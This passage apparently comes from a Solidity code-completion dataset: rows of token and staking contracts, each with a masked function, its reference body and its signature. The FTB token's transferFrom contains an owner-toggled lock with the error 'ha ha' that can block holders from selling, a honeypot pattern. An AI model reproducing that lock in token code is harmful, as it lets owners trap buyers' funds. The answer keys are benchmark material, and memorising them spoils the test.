uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
/* ========== CONSTRUCTOR ========== */
constructor(
address _rewardsToken,
address _stakingToken
) public {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = msg.sender;
}
/* ========== VIEWS ========== */
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply)
);
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
/* ========== RESTRICTED FUNCTIONS ========== */
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {<FILL_FUNCTION_BODY> }
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
require(
tokenAddress != address(stakingToken) && tokenAddress != address(rewardsToken),
"Cannot withdraw the staking or rewards tokens"
);
IERC20(tokenAddress).safeTransfer(owner(), tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
require(block.timestamp > periodFinish,
"Previous rewards period must be complete before changing the duration for the new period"
);
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
/* ========== MODIFIERS ========== */
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
} | contract BalLpRewards is RewardsDistributionRecipient, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 30 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
/* ========== CONSTRUCTOR ========== */
constructor(
address _rewardsToken,
address _stakingToken
) public {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = msg.sender;
}
/* ========== VIEWS ========== */
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply)
);
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
<FILL_FUNCTION>
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
require(
tokenAddress != address(stakingToken) && tokenAddress != address(rewardsToken),
"Cannot withdraw the staking or rewards tokens"
);
IERC20(tokenAddress).safeTransfer(owner(), tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
require(block.timestamp > periodFinish,
"Previous rewards period must be complete before changing the duration for the new period"
);
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
/* ========== MODIFIERS ========== */
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
} |
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
| function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) | /* ========== RESTRICTED FUNCTIONS ========== */
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) |
41774 | FTB | setHandler | contract FTB is ERC20 {
string public name = "FTB Coin";
string public symbol = "FTB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000 * 10**18;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
address public owner;
// 操作者
mapping (address => bool) public handlers;
// 解锁
bool public unLock = true;
constructor() public {
balances[msg.sender] = totalSupply;
owner = msg.sender;
}
function totalSupply() public constant returns (uint256 total) {
return totalSupply;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value && _value > 0);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0, "not quota");
// 必须是操作者 或者 解锁unLock=true;
require(handlers[_from] || unLock, "ha ha");
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
// 设置新的管理员
function setOwner(address _owner) public returns (bool success) {
require(msg.sender == owner, "not owner");
require(_owner != address(0), "address not 0");
owner= _owner;
success = true;
}
// 设置锁
function setLock() public returns (bool success) {
require(msg.sender == owner, "not owner");
unLock = !unLock;
success = true;
}
// 设置操作者
function setHandler(address _handler) public returns (bool success) {<FILL_FUNCTION_BODY> }
// 批量设置操作管理员
function setHandlers(address[] _handlers) public returns (bool success) {
require(msg.sender == owner, "not owner");
for(uint256 i = 0; i < _handlers.length; i++) {
handlers[_handlers[i]] = true;
}
success = true;
}
} | contract FTB is ERC20 {
string public name = "FTB Coin";
string public symbol = "FTB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000 * 10**18;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
address public owner;
// 操作者
mapping (address => bool) public handlers;
// 解锁
bool public unLock = true;
constructor() public {
balances[msg.sender] = totalSupply;
owner = msg.sender;
}
function totalSupply() public constant returns (uint256 total) {
return totalSupply;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value && _value > 0);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0, "not quota");
// 必须是操作者 或者 解锁unLock=true;
require(handlers[_from] || unLock, "ha ha");
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
// 设置新的管理员
function setOwner(address _owner) public returns (bool success) {
require(msg.sender == owner, "not owner");
require(_owner != address(0), "address not 0");
owner= _owner;
success = true;
}
// 设置锁
function setLock() public returns (bool success) {
require(msg.sender == owner, "not owner");
unLock = !unLock;
success = true;
}
<FILL_FUNCTION>
// 批量设置操作管理员
function setHandlers(address[] _handlers) public returns (bool success) {
require(msg.sender == owner, "not owner");
for(uint256 i = 0; i < _handlers.length; i++) {
handlers[_handlers[i]] = true;
}
success = true;
}
} |
require(msg.sender == owner, "not owner");
require(_handler != address(0), "address not 0");
handlers[_handler] = true;
success = true;
| function setHandler(address _handler) public returns (bool success) | // 设置操作者
function setHandler(address _handler) public returns (bool success) |
46874 | AngelToken | initialize | contract AngelToken is MintableToken {
string public constant name = "Angel";
string public constant symbol = "ANGEL";
uint8 public constant decimals = 18;
function getTotalSupply() public returns (uint256) {
return totalSupply_;
}
function initialize() onlyOwner public {<FILL_FUNCTION_BODY> }
} | contract AngelToken is MintableToken {
string public constant name = "Angel";
string public constant symbol = "ANGEL";
uint8 public constant decimals = 18;
function getTotalSupply() public returns (uint256) {
return totalSupply_;
}
<FILL_FUNCTION>
} |
mint(msg.sender, 7635 * 10**6 * 10**18);
finishMinting();
| function initialize() onlyOwner public | function initialize() onlyOwner public |
34499 | ERC20CUPCAKE | null | contract ERC20CUPCAKE is ERC20 {
constructor () ERC20("Cupcake", "CUPCAKE") {<FILL_FUNCTION_BODY> }
} | contract ERC20CUPCAKE is ERC20 {
<FILL_FUNCTION>
} |
_mint(msg.sender, 10e32);
| constructor () ERC20("Cupcake", "CUPCAKE") | constructor () ERC20("Cupcake", "CUPCAKE") |
80168 | LegoInuApp | excludeAccount | contract LegoInuApp is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Lego Inu';
string private _symbol = 'LEINU';
uint8 private _decimals = 9;
uint256 private _taxFee = 10;
uint256 private _teamFee = 15;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousTeamFee = _teamFee;
address payable public _MBCWalletAddress;
address payable public _marketingWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 private _maxTxAmount = 100000000000000e9;
// We will set a minimum amount of tokens to be swaped => 5K
uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable MBCWalletAddress, address payable marketingWalletAddress) public {
_MBCWalletAddress = MBCWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {<FILL_FUNCTION_BODY> }
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 1 && _teamFee == 1) return;
_previousTaxFee = _taxFee;
_previousTeamFee = _teamFee;
_taxFee = 1;
_teamFee = 1;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousTeamFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular team event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and team fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToTeam(uint256 amount) private {
_MBCWalletAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToTeam(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 20, 'taxFee should be in 1 - 20');
_taxFee = taxFee;
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 20, 'teamFee should be in 1 - 20');
_teamFee = teamFee;
}
function _setMBCWallet(address payable MBCWalletAddress) external onlyOwner() {
_MBCWalletAddress = MBCWalletAddress;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9');
_maxTxAmount = maxTxAmount;
}
} | contract LegoInuApp is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Lego Inu';
string private _symbol = 'LEINU';
uint8 private _decimals = 9;
uint256 private _taxFee = 10;
uint256 private _teamFee = 15;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousTeamFee = _teamFee;
address payable public _MBCWalletAddress;
address payable public _marketingWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 private _maxTxAmount = 100000000000000e9;
// We will set a minimum amount of tokens to be swaped => 5K
uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable MBCWalletAddress, address payable marketingWalletAddress) public {
_MBCWalletAddress = MBCWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
